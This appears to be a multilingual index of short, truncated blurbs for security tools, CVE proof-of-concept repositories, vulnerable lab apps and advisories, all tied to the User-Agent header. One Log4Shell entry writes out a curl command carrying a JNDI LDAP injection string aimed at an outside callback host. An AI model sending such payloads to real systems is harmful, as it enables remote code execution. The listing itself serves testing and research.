log4shell-demo

Простое приложение Spring Boot, уязвимое для Log4Shell CVE-2021-44228 Изменена стандартная система логирования с logback на log4j2 Приложение логирует заголовок 'User-Agent', поэтому можно проверить уязвимость с помощью curl и, например, interactsh-service: curl -A '$jndi:ldap://interactsh-url/a'...

CVE-2024-50395

CVE-2024-50395 Информация об уязвимости Сообщается, что уязвимость обхода авторизации через контролируемый пользователем ключ затрагивает надстройку Media Streaming. При эксплуатации уязвимость может позволить злоумышленникам в локальной сети получить привилегии. Мы уже исправили уязвимость в...

scenester

Scenester Scenester — инструмент для создания визуальных снимков веб-сайта с использованием нескольких user-agent. Предназначен для помощи в обнаружении различных точек входа в приложение. Выпущен как open source компанией NCC Group Plc — http://www.nccgroup.com/ Разработан Sharique Shaikh,...

xsssniper

XSSSNIPER xsssniper is an handy xss discovery tool with mass scanning functionalities. Usage: Usage: xsssniper.py options Options: -h, --help show this help message and exit -u URL, --url=URL target URL --post try a post request to target url --data=POSTDATA post data to use --threads=THREADS...

useragent

useragent Всеобъемлющая и категоризированная коллекция User-Agent. Инструкции по установке Чтобы установить инструмент useragent, выполните следующую команду: go install -v github.com/projectdiscovery/useragent/cmd/ua@latest Использование Чтобы отобразить справку по инструменту, выполните следующ...

CVE-2025-59712_CVE-2025-59713

PoC для CVE-2025-59712 и CVE-2025-59713 Этот PoC предоставляет автоматизированный скрипт для эксплуатации CVE-2025-59712 XSS в заголовке User-Agent и CVE-2025-59713 небезопасная десериализация. Контекст Эти две уязвимости были обнаружены компанией Synacktiv в ходе исследования безопасности...

Egyscan

EgyScan V3.4 "Ultra" : Votre Forteresse Numérique d'Invincibilité 🏰 Salutations, Gardiens du Royaume Numérique ! 🛡️ Préparez-vous à embarquer pour un voyage extraordinaire avec EgyScan V3.0 , la sentinelle ultime qui transforme vos sites web en forteresses imprenables contre les cybermenaces...

CVE-2026-54806

WP Activity Log PHP Object Injection CVE-2026-54806 PoC 📜 Описание CVE-2026-54806 — это критическая CVSS 9.8 неаутентифицированная уязвимость PHP Object Injection в WordPress-плагине WP Activity Log wp-security-audit-log от Melapress. Неаутентифицированный злоумышленник может внедрить...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

CVE-2021-44228

CVE-2021-44228 Используется библиотека Log4j 2.14 Уязвимость в User-Agent, методе POST и точке входа /admin/cores?foo= Я выложил его в Docker Hub: вы можете выполнить pull и запустить его https://hub.docker.com/repository/docker/iamnewbie/log4j-vuln...

Pyison

Pyison Pyison — это «смоляная яма» для AI-веб-краулеров. Введение Как и все веб-краулеры, AI-боты запрашивают страницы с веб-серверов, а затем переходят по ссылкам на странице к другим страницам. Таким образом они могут построить индекс всего веб-сайта. Однако в отличие от других веб-краулеров,...

W3 Total Cache <= 2.9.3 - Unauthenticated Dynamic Security Token Disclosure

The W3 Total Cache WordPress plugin through version 2.9.3 skips its entire output buffering and processing pipeline whenever an incoming request's User-Agent header contains the string "W3 Total Cache", without authenticating the caller. On sites that use developer-placed dynamic fragment tags, t...

Piwigo 13.7.0 - SQL Injection

Piwigo is open source photo gallery software. Prior to version 13.8.0, there is a SQL Injection vulnerability in the login of the administrator screen. The SQL statement that acquires the HTTP Header User-Agent is vulnerable at the endpoint that records user information when logging in to the...

Appium base-driver <=10.6.0 - Reflected Cross-Site Scripting

Appium = 10.7.0 contains a reflected XSS caused by unescaped reflection of throwError query parameter, comments POST field, and User-Agent header in base-driver routes, letting remote attackers execute arbitrary JavaScript, exploit requires crafted HTTP requests. id: CVE-2026-58191 info: name:...

apidetector

APIDetector is a powerful and efficient tool designed for testing exposed Swagger endpoints in various subdomains with unique smart capabilities to detect false-positives. It's particularly useful for security professionals and developers who are engaged in API testing and vulnerability scanning...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian Обзор Этот репозиторий является средой PoC для CVE-2014-6271. Вы можете развернуть веб-сервис, включающий уязвимость, используя образ контейнера apache2. Подготовка Сборка образа Соберите небезопасный образ из Dockerfile. docker build -t...

forbidden

Forbidden Bypass 4xx HTTP response status codes and more. The tool is based on Python Requests, PycURL, and HTTP Client. Tested on Kali Linux v2024.2 64-bit. Made for educational purposes. I hope it will help! Future plans: Add the silent option to suppress console output. Add the no color option...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator О проекте Этот инструмент позволяет проверить, уязвимо ли простое Java веб-приложение к CVE-2021-44228 для указанных пользователем версий Java и Log4J. Вы также можете опционально применить одну из нескольких предопределенных мер защиты. Лаборатория симуляции,...

OSTE-Web-Log-Analyzer

OSTE-Web-Log-Analyzer Automatisez le processus d'analyse des journaux de serveur web avec l'Analyseur de Journaux Web Python. Cet outil puissant est conçu pour renforcer la sécurité en identifiant et en détectant divers types de cyberattaques dans vos journaux serveur. Restez en avance sur les...

satellite

satellite Satellite est un service d'hébergement de charges utiles web qui filtre les requêtes pour s'assurer que la cible correcte reçoit une charge utile. Ce service peut également être utile pour héberger des fichiers qui ne devraient être accessibles que dans des circonstances très spécifique...